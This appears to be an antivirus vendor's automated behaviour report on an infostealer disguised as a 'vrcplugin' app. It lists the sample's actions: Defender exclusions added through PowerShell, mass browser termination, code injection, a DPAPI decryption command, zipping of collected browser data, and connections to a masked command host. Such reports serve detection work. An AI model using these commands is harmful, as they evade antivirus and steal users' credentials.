Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\SystemTemp\ww31ti'"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\AppCache\o9l74k'"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\AppTemp\i1of4b'"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\TempData\8u21p0'"
Executes the following
- '<SYSTEM32>\taskkill.exe' /F /IM chrome.exe
- '<SYSTEM32>\taskkill.exe' /F /IM msedge.exe
- '<SYSTEM32>\taskkill.exe' /F /IM brave.exe
- '<SYSTEM32>\taskkill.exe' /F /IM opera.exe
- '<SYSTEM32>\taskkill.exe' /F /IM firefox.exe
- '<SYSTEM32>\taskkill.exe' /F /IM kometa.exe
- '<SYSTEM32>\taskkill.exe' /F /IM orbitum.exe
- '<SYSTEM32>\taskkill.exe' /F /IM centbrowser.exe
- '<SYSTEM32>\taskkill.exe' /F /IM 7star.exe
- '<SYSTEM32>\taskkill.exe' /F /IM sputnik.exe
- '<SYSTEM32>\taskkill.exe' /F /IM vivaldi.exe
- '<SYSTEM32>\taskkill.exe' /F /IM epicprivacybrowser.exe
- '<SYSTEM32>\taskkill.exe' /F /IM uran.exe
- '<SYSTEM32>\taskkill.exe' /F /IM yandex.exe
- '<SYSTEM32>\taskkill.exe' /F /IM iridium.exe
- '<SYSTEM32>\taskkill.exe' /F /IM browser.exe
- '<SYSTEM32>\taskkill.exe' /F /IM epic.exe
- '<SYSTEM32>\taskkill.exe' /IM Steam.exe /F
- '<SYSTEM32>\taskkill.exe' /IM javaw.exe /F
Launches a large number of processes
Injects code into
the following user processes:
- vrcplugin.exe
- msedge.exe
Terminates or attempts to terminate
the following user processes:
- firefox.exe
Modifies file system
Creates the following files
- %TEMP%\nswff51.tmp\system.dll
- %TEMP%\nswff51.tmp\stdutils.dll
- %TEMP%\nswff51.tmp\spiderbanner.dll
- %TEMP%\nswff51.tmp\nsexec.dll
- %TEMP%\nswff51.tmp\app-64.7z
- %TEMP%\nswff51.tmp\nsis7z.dll
- %TEMP%\nswff51.tmp\7z-out\chrome_100_percent.pak
- %TEMP%\nswff51.tmp\7z-out\chrome_200_percent.pak
- %TEMP%\nswff51.tmp\7z-out\icudtl.dat
- %TEMP%\nswff51.tmp\7z-out\license.electron.txt
- %TEMP%\nswff51.tmp\7z-out\licenses.chromium.html
- %TEMP%\nswff51.tmp\7z-out\locales\af.pak
- %TEMP%\nswff51.tmp\7z-out\locales\am.pak
- %TEMP%\nswff51.tmp\7z-out\locales\ar.pak
- %TEMP%\nswff51.tmp\7z-out\locales\bg.pak
- %TEMP%\nswff51.tmp\7z-out\locales\bn.pak
- %TEMP%\nswff51.tmp\7z-out\locales\ca.pak
- %TEMP%\nswff51.tmp\7z-out\locales\cs.pak
- %TEMP%\nswff51.tmp\7z-out\locales\da.pak
- %TEMP%\nswff51.tmp\7z-out\locales\de.pak
- %TEMP%\nswff51.tmp\7z-out\locales\el.pak
- %TEMP%\nswff51.tmp\7z-out\locales\en-gb.pak
- %TEMP%\nswff51.tmp\7z-out\locales\en-us.pak
- %TEMP%\nswff51.tmp\7z-out\locales\es-419.pak
- %TEMP%\nswff51.tmp\7z-out\locales\es.pak
- %TEMP%\nswff51.tmp\7z-out\locales\et.pak
- %TEMP%\nswff51.tmp\7z-out\locales\fa.pak
- %TEMP%\nswff51.tmp\7z-out\locales\fi.pak
- %TEMP%\nswff51.tmp\7z-out\locales\fil.pak
- %TEMP%\nswff51.tmp\7z-out\locales\fr.pak
- %TEMP%\nswff51.tmp\7z-out\locales\gu.pak
- %TEMP%\nswff51.tmp\7z-out\locales\he.pak
- %TEMP%\nswff51.tmp\7z-out\locales\hi.pak
- %TEMP%\nswff51.tmp\7z-out\locales\hr.pak
- %TEMP%\nswff51.tmp\7z-out\locales\hu.pak
- %TEMP%\nswff51.tmp\7z-out\locales\id.pak
- %TEMP%\nswff51.tmp\7z-out\locales\it.pak
- %TEMP%\nswff51.tmp\7z-out\locales\ja.pak
- %TEMP%\nswff51.tmp\7z-out\locales\kn.pak
- %TEMP%\nswff51.tmp\7z-out\locales\ko.pak
- %TEMP%\nswff51.tmp\7z-out\locales\lt.pak
- %TEMP%\nswff51.tmp\7z-out\locales\lv.pak
- %TEMP%\nswff51.tmp\7z-out\locales\ml.pak
- %TEMP%\nswff51.tmp\7z-out\locales\mr.pak
- %TEMP%\nswff51.tmp\7z-out\locales\ms.pak
- %TEMP%\nswff51.tmp\7z-out\locales\nb.pak
- %TEMP%\nswff51.tmp\7z-out\locales\nl.pak
- %TEMP%\nswff51.tmp\7z-out\locales\pl.pak
- %TEMP%\nswff51.tmp\7z-out\locales\pt-br.pak
- %TEMP%\nswff51.tmp\7z-out\locales\pt-pt.pak
- %TEMP%\nswff51.tmp\7z-out\locales\ro.pak
- %TEMP%\nswff51.tmp\7z-out\locales\ru.pak
- %TEMP%\nswff51.tmp\7z-out\locales\sk.pak
- %TEMP%\nswff51.tmp\7z-out\locales\sl.pak
- %TEMP%\nswff51.tmp\7z-out\locales\sr.pak
- %TEMP%\nswff51.tmp\7z-out\locales\sv.pak
- %TEMP%\nswff51.tmp\7z-out\locales\sw.pak
- %TEMP%\nswff51.tmp\7z-out\locales\ta.pak
- %TEMP%\nswff51.tmp\7z-out\locales\te.pak
- %TEMP%\nswff51.tmp\7z-out\locales\th.pak
- %TEMP%\nswff51.tmp\7z-out\locales\tr.pak
- %TEMP%\nswff51.tmp\7z-out\locales\uk.pak
- %TEMP%\nswff51.tmp\7z-out\locales\ur.pak
- %TEMP%\nswff51.tmp\7z-out\locales\vi.pak
- %TEMP%\nswff51.tmp\7z-out\locales\zh-cn.pak
- %TEMP%\nswff51.tmp\7z-out\locales\zh-tw.pak
- %TEMP%\nswff51.tmp\7z-out\resources\app.asar
- %TEMP%\nswff51.tmp\7z-out\resources.pak
- %TEMP%\nswff51.tmp\7z-out\snapshot_blob.bin
- %TEMP%\nswff51.tmp\7z-out\v8_context_snapshot.bin
- %TEMP%\nswff51.tmp\7z-out\vk_swiftshader_icd.json
- %TEMP%\nswff51.tmp\7z-out\d3dcompiler_47.dll
- %TEMP%\nswff51.tmp\7z-out\dxcompiler.dll
- %TEMP%\nswff51.tmp\7z-out\dxil.dll
- %TEMP%\nswff51.tmp\7z-out\ffmpeg.dll
- %TEMP%\nswff51.tmp\7z-out\libegl.dll
- %TEMP%\nswff51.tmp\7z-out\libglesv2.dll
- %TEMP%\nswff51.tmp\7z-out\resources\elevate.exe
- %TEMP%\nswff51.tmp\7z-out\vk_swiftshader.dll
- %TEMP%\nswff51.tmp\7z-out\vrcplugin.exe
- %TEMP%\nswff51.tmp\7z-out\vulkan-1.dll
- %LOCALAPPDATA%\programs\vrcplugin\chrome_100_percent.pak
- %LOCALAPPDATA%\programs\vrcplugin\chrome_200_percent.pak
- %LOCALAPPDATA%\programs\vrcplugin\d3dcompiler_47.dll
- %LOCALAPPDATA%\programs\vrcplugin\dxcompiler.dll
- %LOCALAPPDATA%\programs\vrcplugin\dxil.dll
- %LOCALAPPDATA%\programs\vrcplugin\ffmpeg.dll
- %LOCALAPPDATA%\programs\vrcplugin\icudtl.dat
- %LOCALAPPDATA%\programs\vrcplugin\libegl.dll
- %LOCALAPPDATA%\programs\vrcplugin\libglesv2.dll
- %LOCALAPPDATA%\programs\vrcplugin\license.electron.txt
- %LOCALAPPDATA%\programs\vrcplugin\licenses.chromium.html
- %LOCALAPPDATA%\programs\vrcplugin\resources.pak
- %LOCALAPPDATA%\programs\vrcplugin\snapshot_blob.bin
- %LOCALAPPDATA%\programs\vrcplugin\v8_context_snapshot.bin
- %LOCALAPPDATA%\programs\vrcplugin\vk_swiftshader.dll
- %LOCALAPPDATA%\programs\vrcplugin\vk_swiftshader_icd.json
- %LOCALAPPDATA%\programs\vrcplugin\vrcplugin.exe
- %LOCALAPPDATA%\programs\vrcplugin\vulkan-1.dll
- %LOCALAPPDATA%\programs\vrcplugin\locales\af.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\am.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\ar.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\bg.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\bn.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\ca.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\cs.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\da.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\de.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\el.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\en-gb.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\en-us.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\es-419.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\es.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\et.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\fa.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\fi.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\fil.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\fr.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\gu.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\he.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\hi.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\hr.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\hu.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\id.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\it.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\ja.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\kn.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\ko.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\lt.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\lv.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\ml.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\mr.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\ms.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\nb.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\nl.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\pl.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\pt-br.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\pt-pt.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\ro.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\ru.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\sk.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\sl.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\sr.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\sv.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\sw.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\ta.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\te.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\th.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\tr.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\uk.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\ur.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\vi.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\zh-cn.pak
- %LOCALAPPDATA%\programs\vrcplugin\locales\zh-tw.pak
- %LOCALAPPDATA%\programs\vrcplugin\resources\app.asar
- %LOCALAPPDATA%\programs\vrcplugin\resources\elevate.exe
- %LOCALAPPDATA%\vrcplugin-updater\installer.exe
- %LOCALAPPDATA%\programs\vrcplugin\uninstall vrcplugin.exe
- %APPDATA%\microsoft\windows\start menu\programs\vrcplugin.lnk
- %TEMP%\nswff51.tmp\winshell.dll
- %HOMEPATH%\desktop\vrcplugin.lnk
- nul
- %TEMP%\elevate_1761702661320.vbs
- C:\users\pc\appdata\local\errorlx\error.log
- %TEMP%\cache.json
- %LOCALAPPDATA%\systemtemp\ww31ti\save_data.exe.br
- %LOCALAPPDATA%\systemtemp\ww31ti\save_data.exe
- %TEMP%\run_1761702686888_myffdljti.vbs
- %TEMP%\content\1264-1364-cscript.exe-18-51-27-459.dump
- %LOCALAPPDATA%\systemtemp\ww31ti\cache.exe
- %APPDATA%\vrcplugin\b57afaa8-897e-4b93-9082-73c4f8372a09.tmp
- %LOCALAPPDATA%\appcache\o9l74k\stats_db.exe.br
- %LOCALAPPDATA%\appcache\o9l74k\stats_db.exe
- %TEMP%\run_1761702705318_vm6be3yxn.vbs
- %TEMP%\content\2636-864-cscript.exe-18-51-45-783.dump
- %HOMEPATH%\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\package.json
- %HOMEPATH%\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\binding.gyp
- %HOMEPATH%\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\dist\index.js
- %HOMEPATH%\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\dist\index.d.ts
- %HOMEPATH%\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\src\dpapi_addon.h
- %HOMEPATH%\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\src\dpapi_not_supported.cpp
- %HOMEPATH%\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\src\dpapi_win.cpp
- %HOMEPATH%\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\src\main.cpp
- %HOMEPATH%\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\test\dpapi.spec.ts
- %HOMEPATH%\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\prebuilds\win32-x64\node.napi.node
- %HOMEPATH%\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\prebuilds\win32-x64\node.napi.node.bak
- %HOMEPATH%\.cache\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\package.json
- %HOMEPATH%\.cache\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\sqlite3.js
- %HOMEPATH%\.cache\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\sqlite3-binding.js
- %HOMEPATH%\.cache\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\trace.js
- %HOMEPATH%\.cache\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\build\release\node_sqlite3.node
- %HOMEPATH%\.cache\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\build\release\node_sqlite3.node.bak
- %LOCALAPPDATA%\apptemp\i1of4b\level_db.exe.br
- %LOCALAPPDATA%\apptemp\i1of4b\level_db.exe
- %TEMP%\run_1761702723436_q8hjwa9ch.vbs
- %TEMP%\content\1224-5632-cscript.exe-18-52-04-195.dump
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data.query
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data.query
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\edge\index.js
- %LOCALAPPDATA%\microsoft\edge\user data\default\extensions\edge\manifest.json
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-6901734f-114c.pma
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-69017353-184.pma
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\index
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_0
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_2
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_3
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\index
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_0
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_2
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_3
Deletes following files that it created itself
- %TEMP%\nswff51.tmp\7z-out\chrome_100_percent.pak
- %TEMP%\nswff51.tmp\7z-out\chrome_200_percent.pak
- %TEMP%\nswff51.tmp\7z-out\d3dcompiler_47.dll
- %TEMP%\nswff51.tmp\7z-out\dxcompiler.dll
- %TEMP%\nswff51.tmp\7z-out\dxil.dll
- %TEMP%\nswff51.tmp\7z-out\ffmpeg.dll
- %TEMP%\nswff51.tmp\7z-out\icudtl.dat
- %TEMP%\nswff51.tmp\7z-out\libegl.dll
- %TEMP%\nswff51.tmp\7z-out\libglesv2.dll
- %TEMP%\nswff51.tmp\7z-out\license.electron.txt
- %TEMP%\nswff51.tmp\7z-out\licenses.chromium.html
- %TEMP%\nswff51.tmp\7z-out\locales\af.pak
- %TEMP%\nswff51.tmp\7z-out\locales\am.pak
- %TEMP%\nswff51.tmp\7z-out\locales\ar.pak
- %TEMP%\nswff51.tmp\7z-out\locales\bg.pak
- %TEMP%\nswff51.tmp\7z-out\locales\bn.pak
- %TEMP%\nswff51.tmp\7z-out\locales\ca.pak
- %TEMP%\nswff51.tmp\7z-out\locales\cs.pak
- %TEMP%\nswff51.tmp\7z-out\locales\da.pak
- %TEMP%\nswff51.tmp\7z-out\locales\de.pak
- %TEMP%\nswff51.tmp\7z-out\locales\el.pak
- %TEMP%\nswff51.tmp\7z-out\locales\en-gb.pak
- %TEMP%\nswff51.tmp\7z-out\locales\en-us.pak
- %TEMP%\nswff51.tmp\7z-out\locales\es-419.pak
- %TEMP%\nswff51.tmp\7z-out\locales\es.pak
- %TEMP%\nswff51.tmp\7z-out\locales\et.pak
- %TEMP%\nswff51.tmp\7z-out\locales\fa.pak
- %TEMP%\nswff51.tmp\7z-out\locales\fi.pak
- %TEMP%\nswff51.tmp\7z-out\locales\fil.pak
- %TEMP%\nswff51.tmp\7z-out\locales\fr.pak
- %TEMP%\nswff51.tmp\7z-out\locales\gu.pak
- %TEMP%\nswff51.tmp\7z-out\locales\he.pak
- %TEMP%\nswff51.tmp\7z-out\locales\hi.pak
- %TEMP%\nswff51.tmp\7z-out\locales\hr.pak
- %TEMP%\nswff51.tmp\7z-out\locales\hu.pak
- %TEMP%\nswff51.tmp\7z-out\locales\id.pak
- %TEMP%\nswff51.tmp\7z-out\locales\it.pak
- %TEMP%\nswff51.tmp\7z-out\locales\ja.pak
- %TEMP%\nswff51.tmp\7z-out\locales\kn.pak
- %TEMP%\nswff51.tmp\7z-out\locales\ko.pak
- %TEMP%\nswff51.tmp\7z-out\locales\lt.pak
- %TEMP%\nswff51.tmp\7z-out\locales\lv.pak
- %TEMP%\nswff51.tmp\7z-out\locales\ml.pak
- %TEMP%\nswff51.tmp\7z-out\locales\mr.pak
- %TEMP%\nswff51.tmp\7z-out\locales\ms.pak
- %TEMP%\nswff51.tmp\7z-out\locales\nb.pak
- %TEMP%\nswff51.tmp\7z-out\locales\nl.pak
- %TEMP%\nswff51.tmp\7z-out\locales\pl.pak
- %TEMP%\nswff51.tmp\7z-out\locales\pt-br.pak
- %TEMP%\nswff51.tmp\7z-out\locales\pt-pt.pak
- %TEMP%\nswff51.tmp\7z-out\locales\ro.pak
- %TEMP%\nswff51.tmp\7z-out\locales\ru.pak
- %TEMP%\nswff51.tmp\7z-out\locales\sk.pak
- %TEMP%\nswff51.tmp\7z-out\locales\sl.pak
- %TEMP%\nswff51.tmp\7z-out\locales\sr.pak
- %TEMP%\nswff51.tmp\7z-out\locales\sv.pak
- %TEMP%\nswff51.tmp\7z-out\locales\sw.pak
- %TEMP%\nswff51.tmp\7z-out\locales\ta.pak
- %TEMP%\nswff51.tmp\7z-out\locales\te.pak
- %TEMP%\nswff51.tmp\7z-out\locales\th.pak
- %TEMP%\nswff51.tmp\7z-out\locales\tr.pak
- %TEMP%\nswff51.tmp\7z-out\locales\uk.pak
- %TEMP%\nswff51.tmp\7z-out\locales\ur.pak
- %TEMP%\nswff51.tmp\7z-out\locales\vi.pak
- %TEMP%\nswff51.tmp\7z-out\locales\zh-cn.pak
- %TEMP%\nswff51.tmp\7z-out\locales\zh-tw.pak
- %TEMP%\nswff51.tmp\7z-out\resources\app.asar
- %TEMP%\nswff51.tmp\7z-out\resources\elevate.exe
- %TEMP%\nswff51.tmp\7z-out\resources.pak
- %TEMP%\nswff51.tmp\7z-out\snapshot_blob.bin
- %TEMP%\nswff51.tmp\7z-out\v8_context_snapshot.bin
- %TEMP%\nswff51.tmp\7z-out\vk_swiftshader.dll
- %TEMP%\nswff51.tmp\7z-out\vk_swiftshader_icd.json
- %TEMP%\nswff51.tmp\7z-out\vrcplugin.exe
- %TEMP%\nswff51.tmp\7z-out\vulkan-1.dll
- %TEMP%\nswff51.tmp\app-64.7z
- %TEMP%\nswff51.tmp\nsexec.dll
- %TEMP%\nswff51.tmp\nsis7z.dll
- %TEMP%\nswff51.tmp\spiderbanner.dll
- %TEMP%\nswff51.tmp\stdutils.dll
- %TEMP%\nswff51.tmp\system.dll
- %TEMP%\nswff51.tmp\winshell.dll
- %LOCALAPPDATA%\systemtemp\ww31ti\save_data.exe.br
- %TEMP%\run_1761702686888_myffdljti.vbs
- %LOCALAPPDATA%\appcache\o9l74k\stats_db.exe.br
- %LOCALAPPDATA%\apptemp\i1of4b\level_db.exe.br
- %TEMP%\run_1761702723436_q8hjwa9ch.vbs
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-6901734f-114c.pma
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-69017353-184.pma
Moves the following files
- from %APPDATA%\vrcplugin\b57afaa8-897e-4b93-9082-73c4f8372a09.tmp to %APPDATA%\vrcplugin\local state
Modifies the following files
Substitutes the following files
- %APPDATA%\Mozilla\Firefox\Profiles\dnyauhh1.default-release\cookies.sqlite-shm
Network activity
Connects to
- 'mo#####.map.fastly.net':443
- 'co##############e-chains.prod.autograph.services.mozaws.net':443
- 'ro##.###ebabakraladam.lol':443
- 'cl###.##rebabakraladam.lol':443
- 'ap#.#pify.org':443
TCP
HTTP GET requests
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?bd##############
Other
- 'cl###.##rebabakraladam.lol':443
- 'ap#.#pify.org':443
UDP
- DNS ASK mo#####.map.fastly.net
- DNS ASK co##############e-chains.prod.autograph.services.mozaws.net
- DNS ASK ro##.###ebabakraladam.lol
- DNS ASK ap#.#pify.org
Miscellaneous
Searches for the following windows
- ClassName: '#32770' WindowName: ''
- ClassName: 'SysListView32' WindowName: ''
- ClassName: '' WindowName: ''
Creates and executes the following
- '%LOCALAPPDATA%\programs\vrcplugin\vrcplugin.exe'
- '<SYSTEM32>\wscript.exe' %TEMP%\elevate_1761702661320.vbs
- '%LOCALAPPDATA%\programs\vrcplugin\vrcplugin.exe' --type=gpu-process --user-data-dir="%APPDATA%\vrcplugin" --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA...
- '%LOCALAPPDATA%\programs\vrcplugin\vrcplugin.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="%APPDATA%\vrcplugin" --field-trial-handle=1888,i,10558967587991562093,42...
- '<SYSTEM32>\cscript.exe' /nologo %TEMP%\run_1761702686888_myffdljti.vbs
- '%LOCALAPPDATA%\systemtemp\ww31ti\save_data.exe' "C:\\Users\\user\\AppData\\Local\\SystemTemp\\ww31ti\\save_data.exe" "C:\\Users\\user\\AppData\\Local\\SystemTemp\\ww31ti" "C:\\Users\\user\\AppData\\Local\\SystemTemp\\ww31ti\\output" "E494899...
- '%LOCALAPPDATA%\systemtemp\ww31ti\cache.exe' all -o C:\\Users\\user\\AppData\\Local\\SystemTemp\\ww31ti\\output -v --no-kill
- '<SYSTEM32>\cscript.exe' /nologo %TEMP%\run_1761702705318_vm6be3yxn.vbs
- '%LOCALAPPDATA%\appcache\o9l74k\stats_db.exe'
- '<SYSTEM32>\cscript.exe' /nologo %TEMP%\run_1761702723436_q8hjwa9ch.vbs
- '%LOCALAPPDATA%\apptemp\i1of4b\level_db.exe' "E49489906D65" "emrebabakraladam.lol"
- '%LOCALAPPDATA%\programs\vrcplugin\vrcplugin.exe' --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="%...
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c tasklist /FI "USERNAME eq %USERNAME%" /FI "IMAGENAME eq VRCPlugin.exe" /FO csv | "<SYSTEM32>\find.exe" "VRCPlugin.exe"
- '%WINDIR%\syswow64\tasklist.exe' /FI "USERNAME eq user" /FI "IMAGENAME eq VRCPlugin.exe" /FO csv
- '%WINDIR%\syswow64\find.exe' "VRCPlugin.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "net session"
- '<SYSTEM32>\net.exe' session
- '<SYSTEM32>\net1.exe' session
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\SystemTemp\ww31ti'""
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\AppCache\o9l74k'""
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM chrome.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM msedge.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM brave.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM opera.exe"
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe'
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "Compress-Archive -Path '%LOCALAPPDATA%\SystemTemp\ww31ti\output\*' -DestinationPath '%LOCALAPPDATA%\SystemTemp\ww31ti\output\browserData_1761702698668.zip' -Force...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Compress-Archive -Path '%LOCALAPPDATA%\SystemTemp\ww31ti\output\*' -DestinationPath '%LOCALAPPDATA%\SystemTemp\ww31ti\output\browserData_1761702698668.zip' -Force"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\AppTemp\i1of4b'""
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAARffMON4uAUOCSFoZ4fGQGhAA...
- '<SYSTEM32>\tasklist.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAARffMON4uAUOCSFoZ4fGQGhAAAAAKAAAARQBkAGcAZQAAA...
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM firefox.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM kometa.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM orbitum.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM centbrowser.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM 7star.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM sputnik.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM vivaldi.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM epicprivacybrowser.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM uran.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\TempData\8u21p0'""
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM yandex.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM iridium.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic csproduct get uuid"
- '<SYSTEM32>\wbem\wmic.exe' csproduct get uuid
- '<SYSTEM32>\cmd.exe' /d /s /c "hostname"
- '<SYSTEM32>\hostname.exe'
